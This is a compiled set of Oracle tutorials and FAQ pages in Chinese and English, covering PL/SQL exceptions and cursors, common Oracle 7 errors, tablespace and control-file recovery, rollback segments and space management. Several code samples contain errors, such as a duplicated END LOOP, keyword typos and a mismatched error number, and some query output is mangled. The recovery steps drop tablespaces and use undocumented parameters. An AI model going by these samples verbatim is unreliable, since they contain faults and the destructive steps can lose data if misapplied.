TIMEOUT_ON_RESOURCE | ORA-0051 | 发生超时
TOO_MANY_ROWS | ORA-1422 | SELECT INTD命令返回的多行
TRANSACTION_BACKED_OUT | ORA-006 | 由于死锁提交被退回
VALUE_ERROR | ORA-6502 | 转换或者裁剪错误
ZERO_DIVIDE | ORA-1476 | 试图被零除

1.4.3 自定义异常处理

DECLARE
BAD_ROWID EXCEPTION;
X ROWID;
PRAGMA EXCEPTION_INIT(BAD_ROWID,-01445);
BEGIN
SELECT ROWID INTO X FROM TAB
WHERE ROWNUM=1;
EXCEPTION WHEN BAD_ROWID THEN
DBMS_OUTPUT.PUT_LINE('CANNOT QUERY ROWID FROM THIS VIEW');
END;

 注意：-01445 因为PRAGMA EXCEPTION_INIT命令把这个变量(-01455)连接到
这个ORACLE错误，该语句的语法如下：
PRAGMA EXCEPTION_INIT(exception_name, error_number);
其中error_number是负数，因为错误号被认为负数，当定义错误时记住使用负号

1.4.4 自定义异常

异常不一定必须是oracle返回的系统错误，用户可以在自己的应用程序中创
建可触发及可处理的自定义异常
DECLARE
SALARY_CODE VARCHAR2(1);
INVALID_SALARY_CODE EXCEPTION;
BEGIN
SALARY_CODE:='X';
IF SALARY_CODE NOT IN('A', 'B', 'C') THEN
RAISE INVALID_SALARY_CODE;
END IF;
EXCEPTION WHEN INVALID_SALARY_CODE THEN
DBMS_OUTPUT.PUT_LINE('INVALID SALARY CODE');
END;

1.5 在PL/SQL中单条记录的查询

在PL/SQL内，有时在没有定义显式光标的情况下需要查询单条记录，并把记录的数据赋给变量。
DECLARE
ln_dno NUMBER;
lvs_dname VARCHAR2(40);
BEGIN
SELECT DEPT_NO,DEPT_NAME
INTO ln_dno,lvs_dname
FROM dept
WHERE DEPT_NO=1;
DBMS_OUTPUT.PUT_LINE(TO_CHAR(ln_dno)||'.'||lvs_dname);
EXCEPTION WHEN NO_DATA_FOUND THEN
DBMS_OUTPUT.PUT_LINE('NO DATA_FOUND');
 WHEN TOO_MANY_ROWS THEN
DBMS_OUTPUT.PUT_LINE('TOO_MANY_ROWS');
END;

1.6 用光标查询多条记录

光标（CURSOR）是指向一个称为上下文相关区的区域的指针，这个区域在服务器的处理过程全局区（PGA）内，当服务器上执行了一个查询后，查询返回的记录集存放在上下文相关区，通过光标上的操作可以把这些记录检索到客户端的应用程序。

1.6.1 使用光标的基本方法

DECLARE
CURSOR C1 IS SELECT VIEW_NAME FROM ALL_VIEWS
WHERE ROWNUM<=10
ORDER BY VIEW_NAME;
VNAME VARCHAR2(40);
BEGIN
OPEN C1;
FETCH C1 INTO VNAME;
WHILE C1%FOUND LOOP
DBMS_OUTPUT.PUT_LINE(TO_CHAR(C1%ROWCOUNT)||'
    '||VNAME);
FETCH C1 INTO VNAME;
END LOOP;
END;

属性 | 含量
%FOUND | 布尔型属性，当最近一次该记录时成功返回，则值为TRUE
%NOTFOUND | 布尔型属性，它的值总与%FOUND属性的值相反
%ISOPEN | 布尔型属性，当光标是打开时返回TRUE
%ROWCOUNT | 数字型属性，返回已从光标中读取的记录数

1.6.2 使用光标FOR循环

DECLARE
CURSOR C1 IS
SELECT VIEW_NAME
FROM ALL_VIEWS
WHERE ROWNUM<=10
ORDER BY VIEW_NAME;
BEGIN
FOR I IN C1 LOOP
DBMS_OUTPUT.PUT_LINE(I.VIEW_NAME);
END LOOP;
END LOOP;
EXCEPTION WHEN OTHERS THEN
NULL;
END;

1.6.3 带参数的光标

DECLARE
CURSOR C1(VIEW_PATTERN VARCHAR2) IS
SELECT VIEW_NAME
FROM ALL_VIEWS
WHERE VIEW_NAME LIKE VIEW_PATTERN||'%' AND
ROWNUM<=10
ORDER BY VIEW_NAME;
VNAME VARCHAR2(40);
BEGIN
FOR I IN C1('USER_AR') LOOP
DBMS_OUTPUT.PUT_LINE(I.VIEW_NAME);
END LOOP;
DBMS_OUTPUT.PUT_LINE();
FOR I IN C1('USER') LOOP
DBMS_OUTPUT.PUT_LINE(I.VIEW_NAME);
END LOOP;
EXCEPTION WHEN OTHERS THEN
DBMS_OUTPUT.PUT_LINE('AAA');
END;

1.7 创建代表数据库记录和列的变量

变量名 基表名.列名%TYPE
DECLARE
D_NO DEPT.DEPT_NO%TYPE;
D_NAME DEPT.DEPT_NAME%TYPE;
BEGIN
SELECT DEPT_NO,DEPT_NAME INTO D_NO,D_NAME
FROM DEPT;
DBMS_OUTPUT.PUT_LINE(TO_CHAR(D_NO));
EXCEPTION WHEN NO_DATA_FOUND THEN
NULL;
END;

变量名 基表名%ROWTYPE
DECLARE
D VEQU12%ROWTYPE;
BEGIN
SELECT ASSET12ID,ASSET12NAME
INTO D.ASSET12ID, D.ASSET12NAME
FROM VEQU12;
DBMS_OUTPUT.PUT_LINE(D.ASSET12ID);
EXCEPTION
WHEN NO_DATA_FOUND THEN
NULL;
WHEN TOO_MANY_ROWS THEN
DBMS_OUTPUT.PUT_LINE('TOO_MANY_ROWS');
END;
说明：
当用户要创建一个变量来表示一个基表列或者要创建多个变量来代表一整条记录时，可以实际使用%TYPE属性和%ROWTYPE属性，使用%TYPE属性和%ROWTYPE属性可以保证当基表的结构或者其中某列的数据类型改变了时，用户的PL/SQL代码仍可正常工作。

1.9 怎样用PL/SQL表实现数组功能

PL/SQL表与其他过程化语言(如C语言)的一维数组类似。实现PL/SQL表需要创建一个数据类型并另外进行变量说明。
Type <类型名> Is
Table Of <数据类型>
Index by Binary_Integer;
以下为一个例子：
Declare
Type Array_type is
Table Of Number
Index by Binary_Integer;
My_Array Array_type;
Begin
For I In 1..10 Loop
My_Array(I) := I*2;
End Loop;
For I In 1..10 Loop
Dbms_Output.Put_line(To_char(My_Array(I)));
End Loop;
End;


Oracle7 7.3.2.2

This document contains information about errors frequently encountered by
new DBAs, along with appropriate actions to be taken in each circumstance.

+==+

Summary:
10 COMMON RDBMS ERRORS

+=+

1)  ORA-1547

    a) on Rollback segment when importing.

       Specify commit=y and a large buffer on import. This way the Rollback
       will be released after each array, as opposed to each object.

    b) when allocating an extent on a tablespace with alot of free space.

       Select max(blocks) from DBA_FREE_SPACE. You may have free space but it
       might not be contiguous. Make sure it is greater than the extent it
       is trying to allocate. You can reduce the storage parameters NEXT and
       PCTINCREASE if it isn't.

2)  ORA-1556 max extents of 121 exceeded when storage is set for maxextents
    of 999.

    Most platforms have a max of 121 even though it allows you to specify
    999.  (see the readme for your platform)

3)  ORA-1090 shutdown in progress when starting up even after a shutdown was
    issued quite some time ago.

    If the background processes aren't running the SGA could have been left
    out there... Issue a startup force open (which does a shutdown abort
    first).

4)  IMP-0003, ORA-942 and IMP-00023 on import.

    Run catalog.sql and expvew.sql (renamed catexp.sql in v7) as sys before
    the import. Both files are in $ORACLE_HOME/rdbms/admin (UNIX).

5)  ORA-904 Invalid column name on import.

    Run expvew.sql (catexp.sql) before the import.

6)  ORA-1034 Oracle not available.

    Startup the DB first...if it is started check your searchpath.
    Make sure that ORACLE_SID is set correctly  For setuid issues, see
    PRE 1006554.6.

7)  ORA-1578 Oracle Data Block corrupted (file # num and block # num)

    To determine where the corruption is:
    select * from sys.dba_extents where file_id = filenum and blocknum
    between block_id and (block_id + blocks - 1);
    The filenum and blocknum are the numbers in the 1578 error.
    This query should give the segment_name and segment_type
    (i.e table and its name).
    In order to salvage the uncorrupted part of the table you can add
    an entry to the init.ora:
    event = "10231 trace name context forever"
    This will skip the corrupted block on a table scan. Export the table,
    drop and recreate it from import.

8)  ORA-604 what does it mean?

    Usually it comes with another error such as 1547....if it can't be found
    in any of the trace files try setting the following event in init.ora and
    restarting the DB.
    event="604 trace name errorstack forever"
    for the output of this look in the trace files in the directory given by
    the USER_DUMP_DEST parameter in init.ora.

9)  My create database is failing with ORA-1519: error while processing file

    Take out the INIT_SQL_FILES param out of init.ora, run the scripts
    by hand after the database is created.

10) Out of shared memory (ORA-4031).

    Try de-fragmenting the shared pool by running an 'alter system flush
    shared_pool' If that is not enough, increase the shared_pool_size
    parameter.

+==+


Oracle技术网—listener.log的内容增长很快，是否可以删除重建

位置：首页→DBA→

listener.log的内容增长很快，是否可以删除重建？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1、listener.log是监听器日志文件。

      2、不能删掉文件,但可删掉里面的内容。


Oracle技术网—ORACLE表空间恢复方案

ORACLE表空间恢复方案

一）用户表空间
错误:
在启动数据库时出现ORA-01157,ORA-01110或操作系统级错误例如ORA-07360,
在关闭数据库(使用shutdown normal或shutdown immediate) 时将导致错误ORA
-01116,ORA-01110以及操作系统级错误ORA-07368
解决:
以下有两种解决方案:
1.用户的表空间可以被轻易地重建
即最近导出的对象是可用的或表空间中的对象可以被轻易地重建等.在
这种情况下,最简单的方法是offline并删除该数据文件,删除表空间并
重建表空间以及所有的对象.
svrmgrl> startup mount
svrmgrl> alter database datafile filename offline drop;
svrmgrl> alter database open;
svrmgrl> drop tablespace tablespace_name including contents;
重建表空间及所有对象.
2.用户的表空间不能够被轻易地重建
在大多数情况下,重建表空间是不可能及太辛苦的工作.方法是倒备份及做介
质恢复.如果您的系统运行在NOARCHIVELOG模式下,则只有丢失的数据
在online redo log中方可被恢复。
步骤如下:
1)Restore the lost datafile from a backup
2)svrmgrl> startup mount
3)svrmgrl> select v1.group#,member,sequence#,first_change#
> from v$log v1,v$logfile v2
> where v1.group#=v2.group#;
4)如果数据库运行在NOARCHIVELOG模式下则:
svrmgrl> select file#,change# from v$recover_file;
如果 CHANGE# 大于最小的FIRST_CHANGE#则数据文件可以被恢复。
如果 CHANGE# 小于最小的FIRST_CHANGE#则数据文件不可恢复。 恢复最近一
次的全备份或采用方案一.
5)svrmgrl> recover datafile filename;
6)确认恢复成功
7)svrmgrl> alter database open resetlogs;
3.只读表空间无需做介质恢复,只要将备份恢复即可.唯一的例外是:
表空间在最后一次备份后被改为read-write 模式
表空间在最后一次备份后被改为read-only 模式
在这种情况下,均需进行介质恢复

二）临时表空间
临时表空间并不包含真正的数据,恢复的方法是删除临时表空间并重建即可.

三）系统表空间
如果备份不可用,则只能采用重建数据库的方法

四）回滚表空间
有两种情况:
1、数据库已经完全关闭(使用shutdown immediate或shutdown命令)
1) 确认数据库完全关闭
2) 修改init.ora文件,注释"rollback-segment"
3) svrmgrl> startup restrict mount
4) svrmgrl> alter database datafile filename offline drop;
5) svrmgrl> alter database open;
基于出现的结果:
"statement processed" 转(7)
"ORA-00604,ORA-00376,ORA-01110"转(6)
6) svrmgrl> shutdown immediate
修改init.ora文件,增加如下一行:
_corrupted_rollback_segments = (,...)
svrmgrl> startup restrict
7) svrmgrl> drop tablespace tablespace_name including contents;
8) 重建表空间及回滚段
9) svrmgrl> alter system disable restricted session;
10) 修改init.ora文件
2、数据库未完全关闭(数据库崩溃或使用shutdown abort命令关闭数据库)
1) 恢复备份
2) svrmgrl> startup mount
3) svrmgrl> select file#,name,status from v$datafile;
svrmgrl> alter database datafile filename online;
4) svrmgrl> select v1.group#,member,sequence#,first_change#
> from v$log v1,v$logfile v2
> where v1.group#=v2.group#;
5) svrmgrl> select file#,change# from v$recover_file;
见一方案2-4
6) svrmgrl> recover datafile filename;
7) svrmgrl> alter database open;
3、数据库处于打开状态
1) 删除回滚段和表空间
2) 重建表空间和回滚段

五）控制文件恢复
1．所有的控制文件均被破坏
将备份的控制文件拷贝至原目录下
对于RAW DEVICE,则:
dd if='con.bak' of='/dev/rdrd/drd1' seek=128
2．并非所有的控制文件均被破坏
用其他的控制文件启动数据库


Oracle技术网—Oracle常用系统文件有哪些

位置：首页→DBA→

阿木伯 著
Oracle常用系统文件有哪些？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      ORACLE有四种文件：数据文件、日志文件、控制文件、参数文件
      通过以下视图显示这些文件信息：v$database,v$datafile,v$logfile v$controlfile v$parameter

      监听器日志文件：　　　　c:\orant\NET80\log\listener.log
      监听器参数文件：　　　　c:\orant\NET80\admin\listener.ora
      TNS 连接文件：　　　　　c:\orant\NET80\admin\Tnsnames.ora
      Sql*Net 环境文件：　　　c:\orant\NET80\admin\sqlnet.ora
      警告日志文件：　　　　　c:\orant\RDBMS80\trace\orclALRT.LOG

      基本结构：　　　　　　　c:\orant\RDBMS80\admin\Standard.sql
      建立数据字典视图：　　　c:\orant\RDBMS80\admin\CATALOG.SQL
      建立审计用数据字典视图：c:\orant\RDBMS80\admin\CATAUDIT.SQL
      建立快照用数据字典视图：c:\orant\RDBMS80\admin\catsnap.sql


Oracle技术网—ORACLE回滚段管理（上）

ORACLE回滚段管理（上）
来源：赛迪网
作者：汪健平

    回滚段管理一直是ORACLE数据库管理的一个难题，本文通过实例介绍ORACLE回滚段的概念，用法和规划及问题的解决。

回滚段概述
    回滚段用于存放数据修改之前的值（包括数据修改之前的位置和值）。回滚段的头部包含正在使用的该回滚段事务的信息。一个事务只能使用一个回滚段来存放它的回滚信息，而一个回滚段可以存放多个事务的回滚信息。

回滚段的作用
    事务回滚：当事务修改表中数据的时候，该数据修改前的值（即前影像）会存放在回滚段中，当用户回滚事务（ROLLBACK）时，ORACLE将会利用回滚段中的数据前影像来将修改的数据恢复到原来的值。

    事务恢复：当事务正在处理的时候，例程失败，回滚段的信息保存在重做日志文件中，ORACLE将在下次打开数据库时利用回滚来恢复未提交的数据。

    读一致性：当一个会话正在修改数据时，其他的会话将看不到该会话未提交的修改。而且，当一个语句正在执行时，该语句将看不到从该语句开始执行后的未提交的修改（语句级读一致性）。当ORACLE执行SELECT语句时，ORACLE依照当前的系统改变号（SYSTEM CHANGE NUMBER-SCN）来保证任何前于当前SCN的未提交的改变不被该语句处理。可以想象：当一个长时间的查询正在执行时，若其他会话改变了该查询要查询的某个数据块，ORACLE将利用回滚段的数据前影像来构造一个读一致性视图。

事务级的读一致性
    ORACLE一般提供SQL语句级（SQL STATEMENT LEVEL）的读一致性，可以用以下语句来实现事务级的读一致性。

    SET TRANSACTION READ ONLY；

    或：

    SET TANNSACTION SERIALIZABLE；

    以上两个语句都将在事务开始后提供读一致性。需要注意的是，使用第二个语句对数据库的并发性和性能将带来影响。

回滚段的种类
    系统回滚段：当数据库创建后，将自动创建一个系统回滚段，该回滚段只用于存放系统表空间中对象的前影像。

    非系统回滚段：拥有多个表空间的数据库至少应该有一个非系统回滚段，用于存放非系统表空间中对象的数据前影像。非系统回滚段又分为私有回滚段和公有回滚段，私有回滚段应在参数文件的ROLLBACK SEGMENTS参数中列出，以便例程启动时自动使其在线（ONLINE）。公有回滚段一般在OPS（ORACLE并行服务器）中出现，将在例程启动时自动在线。

    DEFERED回滚段：该回滚段在表空间离线（OFFLINE）时由系统自动创建，当表空间再次在线（ONLINE）时由系统自动删除，用于存放表空间离线时产生的回滚信息。

回滚段的使用
    分配回滚段：当事务开始时，ORACLE将为该事务分配回滚段，并将拥有最少事务的回滚段分配给该事务。事务可以用以下语句申请指定的回滚段：

    SET TRANSTRACTION USE ROLLBACK SEGMENT rollback_segment

    事务将以顺序，循环的方式使用回滚段的区（EXTENTS），当当前区用满后移到下一个区。几个事务可以写在回滚段的同一个区，但每个回滚段的块只能包含一个事务的信息。

    例如（两个事务使用同一个回滚段，该回滚段有四个区）：

    1、事务在进行中，它们正在使用回滚段的第三个区；

    2、当两个事务产生更多的回滚信息，它们将继续使用第三个区；

    3、当第三个区满后，事务将写到第四个区，当事务开始写到一个新的区时，称为翻转（WRAP）；

    4、当第四个区用满时，如果第一个区是空闲或非活动（使用该区的所有事务完成而没有活动的事务）的，事务将接着使用第一个区。

回滚段的扩张（EXTEND）
    当当前回滚段区的所有块用完而事务还需要更多的回滚空间时，回滚段的指针将移到下一个区。当最后一个区用完，指针将移到第一个区的前面。回滚段指针移到下一个区的前提是下一个区没有活动的事务，同时指针不能跨区。当下一个区正在使用时，事务将为回滚段分配一个新的区，这种分配称为回滚段的扩展。回滚段将一直扩展到该回滚段区的个数到达回滚段的参数MAXEXTENTS的值时为止。

回滚段的回收和OPTIMAL参数
    OPTIMAL参数指明回滚段空闲时收缩到的位置，指明回滚段的OPTIMAL参数可以减少回滚段空间的浪费。


Oracle技术网—ORACLE回滚段管理（下）

ORACLE回滚段管理（下）
来源：赛迪网
作者：汪健平
创建回滚段
    语法：

    CREATE [PUBLIC] ROLLBACK SEGMENT rollback_segment

         [TABLESPACE tablespace]

         [STORAGE ([INITIAL integer[K|M]] [NEXT integer[K|M]]

                     [MINEXTENTS integer]

                     [MAXTENTS {integer|UNLIMITED}]

                     [OPTIMAL {integer[K|M]|NULL}]) ]

    注：

     回滚段可以在创建时指明PRIVATE或PUBLIC，一旦创建将不能修改。

     MINEXTENTS 必须大于等于2

     PCTINCREASE必须是0

     OPTIMAL如果要指定，必须大于等于回滚段的初始大小（由MINEXTENTS指定）

    建议：

     一般情况下，INITIAL=NEXT

     设置OPTIMAL参数来节约空间的使用

     不要设置MAXEXTENTS为UNLIMITED

     回滚段应创建在一个特定的回滚段表空间内

    例：

    CREATE ROLLBACK SEGMENT rbs01

     TABLESPACE rbs

     STORAGE ( INITIAL 100K NEXT 100K MINEXTENTS 10

             MAXEXTENTS 500 OPTIMAL 1000K);

使回滚段在线
    当回滚段创建后，回滚段是离线的，不能被数据库使用，为了使回滚段被事务利用，必须将回滚段在线。可以用以下命令使回滚段在线：

    ALTER ROLLBACK SEGMENT rollback_segment ONLINE;

    例：

    ALTER ROLLBACK SEGMENT rbs01 ONLINE；

    为了使回滚段在数据库启动时自动在线，可以在数据库的参数文件中列出回滚段的名字。例如在参数文件中加入以下一行：

    ROLLBACK_SEGMENT=(rbs01,rbs02)

修改回滚段的存储参数
    可以使用ALTER ROLLBACK SEGMENT命令修改回滚段的存储参数（包括OPTIMAL，MAXEXTENTS）。

    语法：

    ALTER ROLLBACK SEGMENT rollback_segment

    [STORAGE ([NEXT integer[K|M]]

             [MINEXTENTS integer]

             [MAXEXTENTS {integer|UNLIMITED}]

             [OPTIMAL {integer[K|M]|NULL}]) ]

    例：

    ALTER ROLLBACK SEGMENT rbs01 STORAGE (MAXEXTENTS 1000);

回收回滚段的空间
    如果指定了回滚段的OPTIMAL参数，ORACLE将自动回收回滚段到OPTIMAL指定的位置。用户也可以手动回收回滚段的空间。

    语法：

    ALTER ROLLBACK SEGMENT rollback_segment SHRINK [TO integer [K|M]];

    说明：

     如果不指明TO integer的数值，ORACLE将试图回收到OPTIMAL的位置。

    例：

    ALTER ROLLBACK SEGMENT rbs01 SHRINK TO 2M;

使回滚段离线
    为了达到以下两个目的将要回滚段离线：

    1.阻止新的事务使用该回滚段；

    2.该回滚段必须删除。

    语法：

     ALTER ROLLBACK SEGMENT rollback_segment OFFLINE;

    例：

     ALTER ROLLBACK SEGMENT rbs01 OFFLINE;

    说明：

     如果有事务正在使用该回滚段，运行该命令后，回滚段的状态将是PENDING OFFLINE。事务结束后，状态将改为OFFLINE，可以通过V$ROLLSTAT查询回滚段的状态。

删除回滚段
    当回滚段不再需要或要重建以改变INITIAL，NEXT或MINEXTENTS参数时，可以将其删除。要删除回滚段，不许使该回滚段离线。

语法：

    DROP ROLLBACK SEGMENT rollback_segment;

例：

    DROP ROLLBACK SEGMENT rbs01;

查询回滚段的信息
    所用数据字典：DBA_ROLLBACK_SEGS

    可以查询的信息：回滚段的标识(SEGMENT_ID)、名称(SEGMENT_NAME)、所在表空间(TABLESPACE_NAME)、类型(OWNER)、状态(STATUS)。

    例：

    SQL>SELECT segment_name,tablespace_name,owner,status FROM dba_rollback_segs;

回滚段的统计信息
    数据字典：V$ROLLNAME,V$ROLLSTAT

    例：

    SQL>SELECT n.name,s.extents,s.rssize,s.optsize,s.hwmsize,s.xacts,s.status

        FROM v$rollname n,v$rollstat s

        WHERE n.usn=s.usn;

回滚段的当前活动事务
    数据字典：V$SESSION,V$TRANSACTION

    例：

    SQL>SELECT s.username,t.xidusn,t.ubafil,t.ubablk,t.used_ublk

        FROM v$session s,v$transaction t

        WHERE s.saddr=t.ses_addr;

     USERNAME　　XIDUSN　　 UBAFIL　　 UBABLK　　USED_UBLK

     -------　　-------- ----------- ----------- -----------

     SYSTEM　　　　　　2　　　　　　2　　　　 7　　　　　　1

     SCOTT　　　　　　 1　　　　　　2　　　　163　　　　　　1

     2 rows selected.

回滚段的数量规划
    对于OLTP系统，存在大量的小事务处理，一般建议：

    数量多的小回滚段；每四个事务一个回滚段；每个回滚段不要超过十个事务。

    对于批处理，一般建议：

    少的大回滚段；每个事务一个回滚段。

回滚段的问题及解决方法
    问题一：事务要求的回滚段空间不够，表现为表空间用满（ORA-01560错误），回滚段扩展到达参数MAXEXTENTS的值（ORA-01628）。

    解决方法：向回滚段表空间添加文件或使已有的文件变大；增加MAXEXTENTS的值。

    问题二：读一致性错误（ORA-01555 SNAPSHOT TOO OLD）

    解决方法：增加MINEXTENTS的值，增加区的大小，设置一个高的OPTIMAL值。

    >>>>>全文完<<<<<


Oracle技术网—Oracle如何决定使用哪个回退段

位置：首页→DBA→

Oracle如何决定使用哪个回退段？

  • 软件环境：
      1、Windows NT4.0+ORACLE 8.0.4
      2、ORACLE安装路径为：C:\ORANT
  • 说明：
      1. 首先分配那些拥有最少事务的回退段

      2. 如果有两个或更多个回退段拥有最少数量的事务，则分配其中最近使用过的回退段，

      这样可以保证把回退保持更长时间。


Oracle技术网—Oracle数据库的空间管理技巧

Oracle数据库的空间管理技巧

合肥市电信局计算中心
赵晋

---- 在Oracle数据库中，DBA可以通过观测一定的表或视图来了解当前空间的使用状况，进而作出可能的调整决定。

---- 一.表空间的自由空间

---- 通过对表空间的自由空间的观察，可用来判断分配给某个表空间的空间是太多还是不够。请看下列的语句

SQL >   select a.file_id "FileNo",a.tablespace_name
"Tablespace_name",
  2  a.bytes "Bytes",a.bytes-sum(nvl(b.bytes,0)) "Used",
  3  sum(nvl(b.bytes,0)) "Free",
  4 sum(nvl(b.bytes,0))/a.bytes*100  "%free"
  5 from dba_data_files a, dba_free_space b
  6 where a.file_id=b.file_id(+)
  7 group by a.tablespace_name ,
  8 a.file_id,a.bytes order by a.tablespace_name;

File  Tablespace
No _nameBytes  Used  Free %free
------ ---------  -------- --------- --------- ---------
11IDX_JF  .146E+09 849305600 1.297E+09 60.431806
9 JFSJTS 2.146E+09 1.803E+09 343793664 16.016961
10JFSJTS 2.146E+09 1.359E+09 787431424 36.685546
2 RBS523239424 359800832 163438592 31.235909
12RBS1.610E+09 1.606E+09   3104768 .19289495
8 RBSJF  3.220E+09 2.716E+09 504356864 15.662396
7 SFGLTS 2.146E+09 1.228E+09 918159360 42.776014
6 SFSJTS 2.146E+09 1.526E+09 620093440 28.889457
1 SYSTEM 523239424  59924480 463314944 88.547407
3 TEMP   523239424294912 522944512 99.943637
4 TOOLS  15728640   12582912   314572820
5 USERS  7340032  81927331840  99.888393

12 rows selected.

---- 可以看出，在FileNo为12的表空间RBS中，只有0.19%的分配空间未被使用，这个比例太小了，而在SYSTEM及TEMP等表空间中，高达80%以上的空间未被利用，对于生产型数据库，这个表空间的设置有些偏高。

---- 关于自由空间的管理，有下面的一些建议：

  1. 利用Export及Import命令卸出和装入表空间可以释放大量的空间，从而缓解增加另外的数据文件的要求。
  2. 如果包含具有高插入(insert)和更新(update)活动的表的表空间中自由空间的比重下降到了15%以下，要为此表空间增加更多的空间。
  3. 对于一个基本是静态表数据的表空间，如果有多于20%的自由空间，则可以考虑减少分配给它的文件空间量。
  4. 减少SYSTEM表空间的空间量比较困难，因为那要重建数据库。
---- 二 表及索引的扩展

---- A.为了防止表或索引被过分扩展，及时实现对数据库的调整，用户应当经常对有关对象进行观察。

---- 我们可以认为，扩展区域大于5个的表或索引为过分扩展(overextended)。请看下面的语 句：

SQL > select substr(segment_name,1,15)
 Segment_name,segment_type,
  2 substr(tablespace_name,1,10)
 Tablepace_name,extents,Max_extents
  3from dba_segments
  4where extents >5 and owner='JFCL'
  5order by segment_name;

SEGMENT_NAMESEGMENT  TABLEPACE_
EXTENTS  MAX_EXTENTS
 _TYPE
-------------- --------- ----------
CHHDFYB TABLE  JFSJTS   11121
CHHDFYB_DHHMINDEX  JFSJTS9121
DJHZFYB_BF  TABLE  JFSJTS   17500
DJHZFYB_DJHMINDEX  IDX_JF6500
DJHZFYB_JZHMINDEX  IDX_JF7500
GSMFYB  TABLE  JFSJTS   11121
JFDHTABLE  JFSJTS   14500
JFDH_DHHM   INDEX  IDX_JF   61500
JFDH_JZHM   INDEX  IDX_JF   64500
XYKFYB  TABLE  JFSJTS7121
YHDATABLE  JFSJTS6500
YHDA_BAKTABLE  JFSJTS6500
YHHZFYB_12  TABLE  JFSJTS   10500

13 rows selected.
---- 通过观察， DBA可以及时发现问题并进行相应的处理。

---- 我们可以利用export卸出表，然后删除表，再利用import命令将表装入，这样，可以将不连续的区域合并成一个连续的空间。

---- B.如果用户希望对表的空间设置进行优化，例如，需要改变表EMP的initial参数，可以采用下面的方法：

---- 1.在将EMP表卸出并删除后执行imp命令时使用indexfile参数：

---- imp userid=scott/tiger file=emp.dmp indexfile=emp.sql Oracle把表和索引的创建信息写到指定的文件，而不是把数据写回。

---- 2.打开emp.sql文件：

REM  CREATE TABLE "SCOTT"."EMP" ("EMPNO"
NUMBER(4, 0), "ENAME"
REM  VARCHAR2(10), "JOB" VARCHAR2(9),
"MGR" NUMBER(4, 0), "HIREDATE" DATE,
REM  "SAL" NUMBER(7, 2), "COMM" NUMBER
(7, 2), "DEPTNO" NUMBER(2, 0))
REM  PCTFREE 10 PCTUSED 40 INITRANS 1
MAXTRANS 255 LOGGING STORAGE(INITIAL
REM  10240 NEXT 10240 MINEXTENTS 1 MAXEXTENTS
 121 PCTINCREASE 50 FREELISTS
REM  1 FREELIST GROUPS 1 BUFFER_POOL DEFAULT)
 TABLESPACE "USER_DATA" ;
REM  ... 14 rows
---- 对它进行编辑，去除"REM"等信息，找到Initial参数，根据需要改变它。

---- 3.在SQL*plus中执行emp.sql。

---- 4.装入数据：

---- imp userid=scott/tiger ignore=y file=emp.dmp

---- 需要注意的是，ignore参数必须设为Y.

---- C.可以用下面的语句来观察表或索引距离达到最大扩展的状况，“UNUSE”为距离达到最大扩展的值，在User_extents表中，extent_id是从0开始记述数的。

SQL >select a.table_name "TABLE_NAME",max
(a.max_extents) "MAXEXTENTS" ,
  2   max(b.extent_id)+1 "IN USE", MAX
(a.max_extents)-(max(b.extent_id)+1) "UNUSE"
  3   from user_tables a, user_extents b
  4where a.table_name=b.segment_name
  5  group by a.table_name  ORDER BY 4;

TABLE_NAME  MAXEXTENTS  IN USEUNUSE
---------- ----------- -------- ---------
YZPHB  98  1   97
SHJYB  121 1  120
SHFYB  121 1  120
RCHDB  121 1  120
SJTXDZB121 1  120
SJTXDAB121 1  120
CHYHB  121 1  120
JFDH   50014  486
8 rows selected.
---- 如果“UNUSE"小到一定的程度，我们就应该加以关注，进行适当的调整处理。

---- 三 关于连续空间

---- 可以用下面的语句来查看数据库中的自由空间：

SQL >  select * from dba_free_space
 where tablespace_name='SFSJTS'
  2  order by block_id;

TABLESPACE   FILE_ID BLOCK_ID  BYTESBLOCKS
_NAME
----------- --------- --------------
SFSJTS  6 133455  1064960 130
SFSJTS  6 133719  1032192 126
SFSJTS  6 133845  1064960 130
SFSJTS  6 135275  1064960 130
SFSJTS  6 135721   606208  74
SFSJTS  6 139877   901120 110
SFSJTS  6 143497   737280  90
SFSJTS  6 220248   737280  90
SFSJTS  6 246228   491520  60
SFSJTS  6 261804  1064960 130

10 rows selected.
---- 我们可以通过命令的结果来估计相邻自由空间的真正数量。对每一行，用起始快的id(BLOCK_ID)加上自由块(BLOCKS)的数量，如果其和与下一行的块id(BLOCK_ID)相等，则此两行是连续的。如上例第二行和第三行，133719+126=133845，而1338456+130!=135275,所以从block_id为133719开始，有126+130=256个block的连续空间。

---- 在Oracle数据库的后台，系统监视器(SMON)周期性地合并自由空间相邻的块，以得到更大的连续块。而DBA可以用SQL命令来完成这个工作：

---- alter tablespace tablespace_name coalesce;

---- Oracle空间管理对数据库的工作性能有重要影响，其管理方法值得我们认真摸索研究。

中国计算机世界出版服务公司版权所有


Oracle技术网—Oracle数据库碎片整理

Oracle数据库碎片整理

---摘自《计算机世界日报》(文/湖北 龚德政)

---- 我们知道，Oracle作为一种大型数据库，广泛应用于金融、邮电、电力、民航等数据吞吐量巨大，计算机网络广泛普及的重要部门。对于系统管理员来讲，如何保证网络稳定运行，如何提高数据库性能，使其更加安全高效，就显得尤为重要。作为影响数据库性能的一大因素--数据库碎片，应当引起DBA的足够重视，及时发现并整理碎片乃是DBA一项基本维护内容。

---- 1、碎片是如何产生的

---- 当生成一个数据库时，它会分成称为表空间（Tablespace）的多个逻辑段（Segment），如系统（System）表空间,临时（Temporary）表空间等。一个表空间可以包含多个数据范围（Extent）和一个或多个自由范围块，即自由空间（Free Space）。

---- 表空间、段、范围、自由空间的逻辑关系如下：

---- 当表空间中生成一个段时，将从表空间有效自由空间中为这个段的初始范围分配空间。在这些初始范围充满数据时，段会请求增加另一个范围。这样的扩展过程会一直继续下去，直到达到最大的范围值，或者在表空间中已经没有自由空间用于下一个范围。最理想的状态就是一个段的数据可被存在单一的一个范围中。这样，所有的数据存储时靠近段内其它数据，并且寻找数据可少用一些指针。但是一个段包含多个范围的情况是大量存在的，没有任何措施可以保证这些范围是相邻存储的，如图〈1〉。当要满足一个空间要求时，数据库不再合并相邻的自由范围（除非别无选择）， 而是寻找表空间中最大的自由范围来使用。这样将逐渐形成越来越多的离散的、分隔的、较小的自由空间，即碎片。例如：

---- 2、碎片对系统的影响

---- 随着时间推移，基于数据库的应用系统的广泛使用，产生的碎片会越来越多，将对数据库有以下两点主要影响：

---- （1）导致系统性能减弱

